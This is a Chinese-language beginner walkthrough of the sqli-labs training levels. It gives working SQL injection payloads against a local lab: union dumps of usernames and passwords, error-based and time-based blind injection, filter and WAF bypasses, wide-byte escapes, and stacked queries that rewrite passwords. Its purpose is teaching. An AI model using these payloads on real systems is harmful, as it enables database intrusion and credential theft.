主頁 >  其他 > sqli——labs初學者通關詳

sqli——labs初學者通關詳

2021-10-20 07:29:27 其他

目錄

Less-1 GET-Error based-Single quotes-String(基于錯誤的GET單引號字符型注入)

Less-2 GET-Error based- Intiger based(基于錯誤的GET整型注入)

Less-3 GET-Error based- Single quotes with twust string(基于錯誤的GET單引號變形字符型注入)

Less-4 GET-Error based- Double Quotse - String(基于錯誤的GET雙引號字符型注入)

Less-5 GET- Double Injection - Single Quoter -String(雙注入GET單引號字符型注入)

Less-6 GET - Double Injection - Double Quotes - String (雙注入GET雙引號字符型注入)

Less-7 Dump into outfile - String (匯出檔案GET字符型注入)

Less-8 GET - Blind - Boolian Based - Single Quotes (布爾型單引號GET盲注)

Less-9 GET - Blind - Time based. - Single Quotes (基于時間的GET單引號盲注)

Less-10 GET - Blind - Time based - double quotes (基于時間的雙引號盲注)

Less-11 POST - Error Based - Single quotes- String (基于錯誤的POST型單引號字符型注入)

Less-12 POST - Error Based - Double quotes- String-with twist (基于錯誤的雙引號POST型字符型變形的注入)

Less-13 POST - Double Injection - Single quotes- String -twist (POST單引號變形雙注入)

Less-14 POST - Double Injection - Single quotes- String -twist (POST單引號變形雙注入)

Less-16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/時間延遲的雙引號POST型盲注)

Less-17 POST - Update Query- Error Based - String (基于錯誤的更新查詢POST注入)

Less-18 POST - Header Injection - Uagent field - Error based (基于錯誤的用戶代理,頭部POST注入)

Less-19 POST - Header Injection - Referer field - Error based (基于頭部的Referer POST報錯注入)

Less-20 POST - Cookie injections - Uagent field - Error based (基于錯誤的cookie頭部POST注入)

Less-21 Cookie Injection- Error Based- complex - string(Cookie注入-基于錯誤的復雜字串 )

Less-22 Cookie Injection- Error Based- Double Quotes - string (基于錯誤的雙引號字符型Cookie注入)

Less - 24 Second Degree Injections Real treat -Store Injections (二次注入)

Less-25 Trick with OR & AND (過濾了or和and)

Less-25a Trick with OR & AND Blind (過濾了or和and的盲注)

Less-26 Trick with comments and space (過濾了注釋和空格的注入)

less 26a GET - Blind Based - All your SPACES and COMMENTS belong to us(過濾了空格和注釋的盲注)

less 27 GET - Error Based- All your UNION & SELECT belong to us (過濾了union和select的)

less 28 GET - Error Based- All your UNION & SELECT belong to us String-Single quote with parenthesis(基于錯誤的,有括號的單引號字符型,過濾了union和select等的注入)

less 28a GET - Bind Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基于盲注的,有括號的單引號字符型,過濾了union和select等的注入

Less-29 基于WAF的一個錯誤

Less-30 Get-Blind Havaing with WAF

Less-31 Protection with WAF

Less-32 Bypass addslashes()

PHP preg_quote() 函式

語法

回傳值

Less-33 Bypass addslashes()

Less-34 Bypass Add SLASHES

Less-35 why care for addslashes()

Less-36 Bypass MySQL Real Escape String

Less-37- MySQL_real_escape_string

Less-38 stacked Query

Less-39 stacked Query Intiger type

Less-40 stacked Query String type Blind

Less-41 stacked Query Intiger type blind

Less-42 - Stacked Query error based

less-43 POST -Error based -String -Stacked with tiwst(POST型基于錯誤的堆疊變形字符型注入)


Less-1 GET-Error based-Single quotes-String(基于錯誤的GET單引號字符型注入)

我們先用HackBar寫入id=1

發現id可以顯示,

然后在后面加入單引號查看是存在注入http://127.0.0.1/sqli/Less-1/?id=1'

發現結果出現報錯,那么存在注入,

那么我們就可以用 order by陳述句逐步判斷其表格有幾列,最后我們發現表格有三列

http://127.0.0.1/sqli/Less-1/?id=1' order by 3--+;

然后用判斷其第幾列有回顯,這里注意id后面的數字要采用一個不存在的數字,比如-1 -100都可以我采用的是-1 如下

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3--+;

然后發現2,3,列有回顯就可以爆出資料庫,列,以及用戶和密碼;

出資料庫http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,database()--+; 可以查看其資料庫名字

知道資料庫名字以后可以查看資料庫

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables--+;

爆列

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+;

爆出用戶名和密碼

ess-1/?id=-1'union select 1,2, group_concat(concat_ws('~',username,password)) from security.users--+;

第一關就算完成(其中查詢資料庫陳述句不會的可以自行百度)

Less-2 GET-Error based- Intiger based(基于錯誤的GET整型注入)

以同樣的方式測驗用HackBar寫入id=1出現用戶名,

在其后面加上單引號出現報錯,然后再加注釋發現依然報錯

http://127.0.0.1/sqli/Less-2/?id=1'--+

這里我們猜測其是整型(id=$id limit 0,1),然后不加單引號,重復猜測,發現可以注入,猜測正確,(也可以打開原始碼查看其id原始碼與第一關的不同之處),

只有這里不一樣,其他操作等同于Less-1,

Less-3 GET-Error based- Single quotes with twust string(基于錯誤的GET單引號變形字符型注入)

以同樣的方式測驗用HackBar寫入id=1出現用戶名,

加入單引號注釋符號,發現依舊報錯,

這里再去掉單引號依舊報錯,

我們猜測其陳述句為id=('$id'),

在改為?id=1')后陳述句閉合,http://127.0.0.1/sqli/Less-3/?id=-1') union select 1,2,3--+

那么剩下的操作等同于Less-1,這里不再重復操作,

Less-4 GET-Error based- Double Quotse - String(基于錯誤的GET雙引號字符型注入)

以同樣的方式測驗用HackBar寫入id=1出現用戶名,

然后不斷測驗加單引號,單引號括號都無法將其閉合(這里可以直接查看原始碼判斷其注入型別,但是對于未知的注入只能不斷嘗試)

我們猜測其原始碼陳述句為$id = ' " ' . $id . ' " ' ;

那么我們使用http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2,3--+將其閉合

那么剩下的操作等同于Less-1,這里不再重復操作,

Less-5 GET- Double Injection - Single Quoter -String(雙注入GET單引號字符型注入)

以同樣的方式測驗用HackBar測驗

http://127.0.0.1/sqli/Less-5/?id=1' union select 1,2,3--+

發現無法利用回顯,因為一直顯示 you are in .......,

看到這里我們首先想到的型別就是布爾型盲注,報錯注入,時間延遲型盲注,我們這里簡單注入一下,因為作業量太大,只說一下思路,

對于這類注入,用sleep跑一次看瀏覽器的反應就可以知道,

http://127.0.0.1/sqli/Less-5/?id=1' and sleep(5) --+

可以看到瀏覽器有明顯的延遲

然后我們就要判斷資料庫名稱有幾位

http://127.0.0.1/sqli/Less-5/?id=1' and lengrh(database())=8--+

我這邊直接知道8位,以為直接寫了,一般的話要一步一步判斷位數,

然后我用burpsuite一位一位的爆破資料庫名字這里演示一位

http://127.0.0.1/sqli/Less-5/?id=1' and left(select database(),1)='a'--+

用burpsuite爆破

最后顯示爆破的s明顯比其他的短,所以第一位為s,以此類推,判斷出完整的資料庫,

剩下的?id=1' and if(substr(database(),%d,1)='%s',sleep(3),1) -- +
暴表:
?id=1' and if(substr(select table_ name from information_schema.tables where table_schema=database(),%d,1))
爆列:
?id=1' and if(substr(select columns_name from infomation_schema.columns where table_shema=database(),%d,1))

還可以進行xpath注入

因為無回顯,所以嘗試updatexml報錯注入

updatexml函式可以百度了解

http://192.168.2.222/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x5e,database(),0x5e),1) --+(其中0x是十六進制數識別,后面的是吧符號轉換為16進制數,hackbar里面有這個功能)

用這個直接可以將資料庫爆出來

然后用陳述句將其其他內容爆出,因為這個無法顯示全部的內容,我們采用substr函式拼接,

依次增加31爆出完整的資料,

ttp://192.168.2.222/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x5e,(substr((select group_concat(username,0x7e,password) from users),1)),0x5e),1) --+

(此圖盜用師傅)

Less-6 GET - Double Injection - Double Quotes - String (雙注入GET雙引號字符型注入)

以同樣的方式測驗用HackBar測驗

我們發現用雙引號包裹后可以閉合,其他操作如同Less-5;

Less-7 Dump into outfile - String (匯出檔案GET字符型注入)

以同樣的方式測驗用HackBar測驗

我們發現?id=1'))可以閉合陳述句,

那么用陳述句測驗其資料庫有3列

?id=1') )order by 3--+;

在這里我們查看自己的資料庫

這里第七關需要用my.ini進行修改后,然后才可以寫入檔案,這里有phpstudy的bug,具體怎么解決我也不是很會,可以百度解決,

Less-8 GET - Blind - Boolian Based - Single Quotes (布爾型單引號GET盲注)

以同樣的方式測驗用HackBar測驗

我們發現?id=1'可以閉合陳述句,但是沒有任何回顯,

沒有回顯的情況下即可以嘗試盲注

?id=1' and if(substr(database()),1,1)='s',sleep(5),sleep(1))--+

?id=1' and if(substr(database(),1,1)='q',sleep(5),sleep(1))--+

發現兩者明顯有差異,所以資料庫名第一位是‘s’

同樣的資料庫長度也可以以此判斷;

?id=1' and if(length(database())=8,sleep(5),sleep(1))--+

找出以后剩下的和Less-5,

Less-9 GET - Blind - Time based. - Single Quotes (基于時間的GET單引號盲注)

我們依舊使用上面的思路進行注入

我們發現時間盲注依然可以

?id=1' and if(length(database())=8,sleep(5),sleep(1))--+

那么剩下的步驟又和以前一樣了,

Less-10 GET - Blind - Time based - double quotes (基于時間的雙引號盲注)

老樣子,進行不斷地嘗試,我們發現

?id=1' and if(length(database())=8,sleep(5),sleep(1))--+這個是不可以閉合的,

依照剛開始幾關的思路,我們不斷的嘗試發現將單引號改為雙引號后可以閉合

?id=1" and if(length(database())=8,sleep(5),sleep(1))--+

那么剩下的又如同上一關一樣操作就可以了,

Less-11 POST - Error Based - Single quotes- String (基于錯誤的POST型單引號字符型注入)

我們發現頁面發生變化需要輸入用戶名和密碼

這里我們采用萬能密碼

admin' or 1)#

我們可以看到,這里是有回顯得,那我們就試一試post(可以用hackbar也可以用burpsuite)

我們發現只有2可以,3就不可以顯示

我們繼續尋找可以回顯的位置

發現1,2都可以回顯然后接下來進行正常的查詢作業,輸入上面學過的陳述句便可以查詢這里不再操作,

也可以用報錯注入的方式

uname=-admin' and updatexml(1,concat(0x5e,(select group_concat(username,0x7e,password) from users),0x5e),1) #&passwd=admin&submit=Submit

這里只展示一部分,剩下的操作前面都有,

Less-12 POST - Error Based - Double quotes- String-with twist (基于錯誤的雙引號POST型字符型變形的注入)

依舊按照原來的思路嘗試閉合

嘗試找到閉合之后,剩下的操作又和Less-11一樣了

Less-13 POST - Double Injection - Single quotes- String -twist (POST單引號變形雙注入)

依舊按照原來的思路嘗試閉合

發現admin')可以閉合

我們這邊用burpsuite看到沒有任何回顯

這時就可以用上面的思路,我這邊只演示爆錯注入:

uname=admin') and extractvalue(1,concat(0x7e,(select database()))) --+

直接爆出資料庫名稱,剩下的東西也可以用報錯注入爆出,就不在演示,

Less-14 POST - Double Injection - Single quotes- String -twist (POST單引號變形雙注入)

依舊按照原來的思路嘗試閉合

發現admin"可以閉合

用養的用報錯注入爆出資料庫名稱

Less-15 POST - Blind- Boolian/time Based - Single quotes (基于bool型/時間延遲單引號POST型盲注)

用之前思路一樣,用萬能密碼123' or 1 #登錄成功

發現是單引號閉合

用時間盲注admin’ and sleep(10) #

其他操作都一樣,這不過這里是post型的時間盲注在post里面嘗試

Less-16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/時間延遲的雙引號POST型盲注)

和上一關一樣,萬能密碼登錄后,嘗試閉合,發現

admin"可以閉合,那么這里和之前的區別就只有閉合方式不一樣,剩下的同上,

Less-17 POST - Update Query- Error Based - String (基于錯誤的更新查詢POST注入)

這里我們發現頁面又發生了變化

這里不管怎么嘗試都無法實作注入,我們打開原始碼發現

$uname=check_input($_POST['uname']);

$passwd=$_POST['passwd'];

這里明顯用戶名被check_input函式包裹,check_input是一個檢查函式,所以我們這次不能從這邊下手注入,換成從password注入便可以成功,

Less-18 POST - Header Injection - Uagent field - Error based (基于錯誤的用戶代理,頭部POST注入)

打開頁面,我們發現IP有回顯,那么這里判斷有可能是user-agent存在注入,

我們也可以打開原始碼查看,發現在uagen的地方直接進行截取和輸出,

那么我們就可以嘗試閉合,發現是單引號閉合,

然后嘗試報錯注入:

1',1,extractvalue(1,concat(0x7e,(database()),0x7e)))#

然后后面的東西同樣可以使用報錯注入的方法來實作,

Less-19 POST - Header Injection - Referer field - Error based (基于頭部的Referer POST報錯注入)

開始我們發現這次和上次不一樣的是這次refeter也有回顯

查看源代碼可以發現他在refeter和IP都進行了輸出,我們就可以在refeter處進行報錯注入

后面的也可以在這邊進行報錯注入,

Less-20 POST - Cookie injections - Uagent field - Error based (基于錯誤的cookie頭部POST注入)

登錄以后我沒發現這次的頁面有很多東西

我們查看原始碼發現這里對各種資訊進行了輸出

if(!isset($_POST['submit']))
{

$cookee = $_COOKIE['uname'];
$format = 'D d M Y - H:i:s';
$timestamp = time() + 3600;
echo "<center>";
echo '<br><br><br>';
echo '<img src="../images/Less-20.jpg" />';
echo "<br><br><b>";
echo '<br><font color= "red" font size="4">';
echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];
echo "</font><br>";
echo '<font color= "cyan" font size="4">';
echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];
echo "</font><br>";
echo '<font color= "#FFFF00" font size = 4 >';
echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";
echo '<font color= "orange" font size = 5 >';
echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);


echo "<br></font>";
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";

后面發現使用cookie進行資料庫的查詢,那么我們就從cookie入手,

單引號發生報錯

閉合以后發現只是回顯

我們又可以用 order by陳述句判斷

最后發現3行,2,3可回顯

查詢如下:admin' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

思路就和以前一樣了,

Less-21 Cookie Injection- Error Based- complex - string(Cookie注入-基于錯誤的復雜字串 )

我們正常打開發現cookie發生變化,但是可以正常顯示,猜測cookie進行了編碼,

我們也可以打開原始碼看,可以看到cookie的部分進行了base64的加密,

這里分享一個轉碼網站:在線加密解密

這樣的話就是獲取庫名

最后獲得用戶名密碼,中間步驟不再一一截圖,里面的陳述句和第一關一樣

這是陳述句 -admin') union select 1,2,group_concat(username,0x3a,password) from users#=

這是base64轉碼 LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodXNlcm5hbWUsMHgzYSxwYXNzd29yZCkgZnJvbSB1c2VycyM9

Less-22 Cookie Injection- Error Based- Double Quotes - string (基于錯誤的雙引號字符型Cookie注入)

我們嘗試閉合,發現雙引號可以閉合

這樣之后就簡單了,和上關一樣

這是陳述句 -admin" union select 1,2,group_concat(username,0x3a,password) from users#=

這是base64碼 LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdCh1c2VybmFtZSwweDNhLHBhc3N3b3JkKSBmcm9tIHVzZXJzIz0g

Less-23 GET - Error based - strip comments (基于錯誤的,過濾注釋的GET型)

我們發現好像和第一關有一點相似,我們和上一步一步來,

我們發現可以用and,但是不能用聯合查詢陳述句,

打開php發現他把我們的# --+注釋符號給過濾掉了,

一種方法是將聯合查詢陳述句放入id中

爆表

?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'='

爆列

?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'='

爆資料庫和用戶名也和之前的陳述句大同小異,

另一種是or "1"="1來閉合后面的雙引號來達到我們的目的,

Less - 24 Second Degree Injections Real treat -Store Injections (二次注入)

這里是個二次注入,我們可以先注冊一個admin'#的賬號,在修改密碼處我們就可以用自己的密碼修改admin的密碼了,

Sql陳述句變為UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='
也就是執行了UPDATE users SET passwd="New_Pass" WHERE username =' admin'

先注冊一個賬號,admin'#

然后登錄賬號,在里面修改密碼

如果再用admin 密碼123456登陸進來 那么注入成功

Less-25 Trick with OR & AND (過濾了or和and)

我們發現我們的or陳述句被過濾了

因為過濾的只有or和and我們可以多寫一個or和and就可以了

?id=1' oorrder by 1 aandnd '1'='1

Less-25a Trick with OR & AND Blind (過濾了or和and的盲注)

同樣的雙寫or和and就可以解決,其他的和之前一樣

Less-26 Trick with comments and space (過濾了注釋和空格的注入)

先嘗試閉合,發現是單引號閉合

我們發現他將空格,or,and都過濾了,而且空格雙寫是沒有用的,所以

我們可以使用url編碼繞過

%09 Tab鍵(水平)
%0a 新建一行
%0c 新的一頁
%0d return 鍵
%0b Tab鍵(垂直)
%a0 空格
() 繞過

用這個方法嘗試報錯注入:

注入超過

less 26a GET - Blind Based - All your SPACES and COMMENTS belong to us(過濾了空格和注釋的盲注)

我們嘗試閉合發現')可以閉合

剩下的注入和上一關一樣,仍然使用盲注就好

less 27 GET - Error Based- All your UNION & SELECT belong to us (過濾了union和select的)

這一關多過濾了union和select ,

所以我們就用URL編碼和大小寫進行繞過,其他和上一關一樣

這里過濾了union select ,所以我們采用大小寫方式去繞過,雙寫是不行的

爆庫名 ?id=0'%a0uniOn%a0sElEct%a01,database(),3%a0or%a0'1'='1

爆表名 ?id=0'%a0uniOn%a0sElEct%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema='security'%a0%26%26%a0'1'='1

爆列名 ?id=0'%a0uniOn%a0sElEct%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema='security'%a0And%a0table_name='users'%a0%26%26%a0'1'='1

爆用戶名密碼 ?id=0'%a0uniOn%a0sElEct%a01,(group_concat(username)),3%a0from%a0users%a0uniOn%a0seLect%a01,2,'3

27a關將單引號改為雙引號就可以了

less 28 GET - Error Based- All your UNION & SELECT belong to us String-Single quote with parenthesis(基于錯誤的,有括號的單引號字符型,過濾了union和select等的注入)

這關在之前的技術上,加上了union和select的大小寫也過濾了,都不能用了

我們直接用盲注,進行測驗,一點一點試(其他的不贅述了)

過濾union select這一個組合,也要過濾空格,所以采用union union select select方法繞過

less 28a GET - Bind Based- All your UNION & SELECT belong to us String-Single quote with parenthesis基于盲注的,有括號的單引號字符型,過濾了union和select等的注入

和上一關一樣

只是把第28關改成了雙引號,,發現id=1")和id=1)"這樣也行

Less-29 基于WAF的一個錯誤

學習之前可以了解一下HTTP引數污染

我們可以了解到

waf服務器(tomcat)只決議重復引數里面的前者,而真正的web服務器(Apache)只決議重復引數里面的后者

那么我們就可以傳入兩個id,把我們想注入的東西放入后一個id中實作注入

phpstuday的后端是Apahce,我們把引數跟在后面即可

?id=1&id=-1'union select 1,database(),3--+

剩下只需查詢資料庫即可

Less-30 Get-Blind Havaing with WAF

和19關一樣只不過這里換成了雙引號而已

?id=1&id=-1"union select 1,database(),3--+

Less-31 Protection with WAF

與上面一致,只不過換成了“)來閉合、

?id=1&id=-1")union select 1,database(),3--+

Less-32 Bypass addslashes()

這關學習的是繞過函式preg_quote

網上關于php preg_quote的解釋

PHP preg_quote() 函式

正在上傳…重新上傳取消?PHP 正則運算式(PCRE)

preg_last_error 函式用于轉義正則運算式字符,

語法

string preg_quote ( string $str [, string $delimiter = NULL ] )

preg_quote() 需要引數 str 并向其中 每個正則運算式語法中的字符前增加一個反斜線, 這通常用于你有一些運行時字串 需要作為正則運算式進行匹配的時候,

正則運算式特殊字符有: . \ + * ? [ ^ ] $ ( ) { } = ! < > | : -

引數說明:

  • $str: 輸入字串,

  • $delimiter: 如果指定了可選引數 delimiter,它也會被轉義,這通常用于 轉義 PCRE 函式使用的分隔符, / 是最通用的分隔符,

回傳值

回傳轉義后的字串,

也可以自己百度

我們嘗試閉合發現不論是單引號還是雙引號都會被轉義成\'

但是字體是雙位元組的,所以0xD6 0x5c被轉為謀這個漢字,’之前的\就這樣消失了,最后的%23為#,在sql中#是注釋,所以后面的’就沒用了
最終sql中projectid = ’10謀’在sql執行的時候,由于projectid為int型別欄位,mysql會自動intval()處理一下
?id=-1%df%27%20%20union%20select%201,database(),3%23

Less-33 Bypass addslashes()

這關和上一關一致,只不過這里換成了addslashe函式

網上關于addslashes()函式的介紹是:

addslashes() 函式回傳在預定義字符之前添加反斜杠的字串,

預定義字符是:

  • 單引號(')
  • 雙引號(")
  • 反斜杠(\)
  • NULL

提示:該函式可用于為存盤在資料庫中的字串以及資料庫查詢陳述句準備字串,

和上一關一樣,這里換url編碼思路進行

使用 “%df” 和反斜杠的 URL 編碼 “%5C” 閉合,進行寬位元組注入,

?id=1%df'

把后面的內容注釋掉,網頁回傳正常資訊,說明此處使用單引號閉合,

?id=1%df'--+

爆出用戶名和密碼

?id=-1%df' UNION SELECT 1,group_concat(concat_ws(0x3a,username,password)),3 FROM security.users--+

同樣的32關也可以使用這個方法來進行,

Less-34 Bypass Add SLASHES

這一關需要使用burpsuite抓包,抓包之后其他操作等同于33關

uname=admin%df' union select 1,2--+&passwd=admin&submit=Submit

Less-35 why care for addslashes()

正常思路進行注入,發現網頁進行了轉義

仍然使用 “%df” 和反斜杠的 URL 編碼 “%5C” 閉合,進行寬位元組注入,測驗下面的所有引數都注入失敗,

?id=1%df'--+

?id=1%df')--+

?id=1%df'))--+

?id=1%df"--+

?id=1%df")--+

?id=1%df"))--+

那應該就是數值型注入,

數值型注入不涉及編碼,任何轉義都沒有用,所以直接注入不需要考慮,

和 Less 1 完全一樣,爆出用戶名和密碼,

?id=-1 union select 1,group_concat(concat_ws(0x3a,username,password)),3 FROM security.users--+

Less-36 Bypass MySQL Real Escape String

和前幾關思路一樣,在發現有轉義之后

仍然使用 “%df” 和反斜杠的 URL 編碼 “%5C” 閉合,進行寬位元組注入,

?id=1%df'

?id=1%df'--+

和 Less 32 完全一樣,爆出用戶名和密碼,

?id=-1%df' UNION SELECT 1,group_concat(concat_ws(0x3a,username,password)),3 FROM security.users--+

Less-37- MySQL_real_escape_string

這一關改為了post注入,其他都和前幾關操作一樣


uname=admin%df'union select 1,2--+&passwd=admin&submit=Submit

Less-38 stacked Query

這一關是堆疊注入

Stacked injections(堆疊注入)從名詞的含義就可以看到應該是一堆 sql 陳述句(多條)一起執行,而在真實的運用中也是這樣的, 我們知道在 mysql 中, 主要是命令列中, 每一條陳述句結尾加; 表示陳述句結束,這樣我們就想到了是不是可以多句一起使用,這個叫做 stacked injection,

(關于堆疊注入可以自己百度了解)

?id=1';update users set password='123456' where username='Dumb';--+

這個意思是用堆疊注入修改dumb的密碼

使用單引號閉合查詢,發現密碼修改成功

我們再嘗試插入一個id

?id=1';insert into users(id,username,password)values(20,'keepb1ue','2020')--+

然后用單引號閉合查看是否插入成功 :

插入成功,堆疊注入在權限足夠的情況下可以執行任意陳述句

這都是堆疊注入的用法

Less-39 stacked Query Intiger type

這里等同于上一關,這邊我們再一次增加一個用戶

?id=1';insert into users(id,username,password)values(22,'phzsb','1999')--+

查詢

Less-40 stacked Query String type Blind

雖然沒有報錯,但是不影響我們判斷閉合,以及陳述句的正確

嘗試閉合,發現?id=1')可以閉合

其他操作和上一關一樣,同樣的堆疊注入

我們再次修改密碼

?id=1');update users set password='666' where username='Dumb';--+

查看

修改成功

Less-41 stacked Query Intiger type blind

也是無報錯,和上一關一樣,這里就不再修改密碼

Less-42 - Stacked Query error based

這是基于24關卡新增post的堆疊,顧名思義在post上進行修改

我們利用該注入創造一個和users一樣的資料庫

login_user=admin&login_password=1';create table phzdsb like users#

可以在自己的資料庫中查看

發現注入成功

也可以利用做post修改密碼等操作

less-43 POST -Error based -String -Stacked with tiwst(POST型基于錯誤的堆疊變形字符型注入)

本關


轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/325454.html

標籤:其他

上一篇:ByteCTF2021安全范兒高校挑戰賽線上Misc-《HearingNotBelieving》

下一篇:冷門的資訊收集工具-genlist、nbtscan-學習筆記

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章,不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》,我也是第一時間得知了這個訊息,然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本: 個人認為這件事也沒什么,還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹:metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包,它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一,它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip:192.168.20.121 靶機ip:192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k,軟體測驗工程師的漲薪史,給我看哭了

    清明節一過,盲猜大家已經無心上班,在數著日子準備過五一,但一想到銀行卡里的余額……瞬間心情就不美麗了。最近,2023年高校畢業生就業調查顯示,本科畢業月平均起薪為5825元。調查一出,便有很多同學表示自己又被平均了。看著這一資料,不免讓人想到前不久中國青年報的一項調查:近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

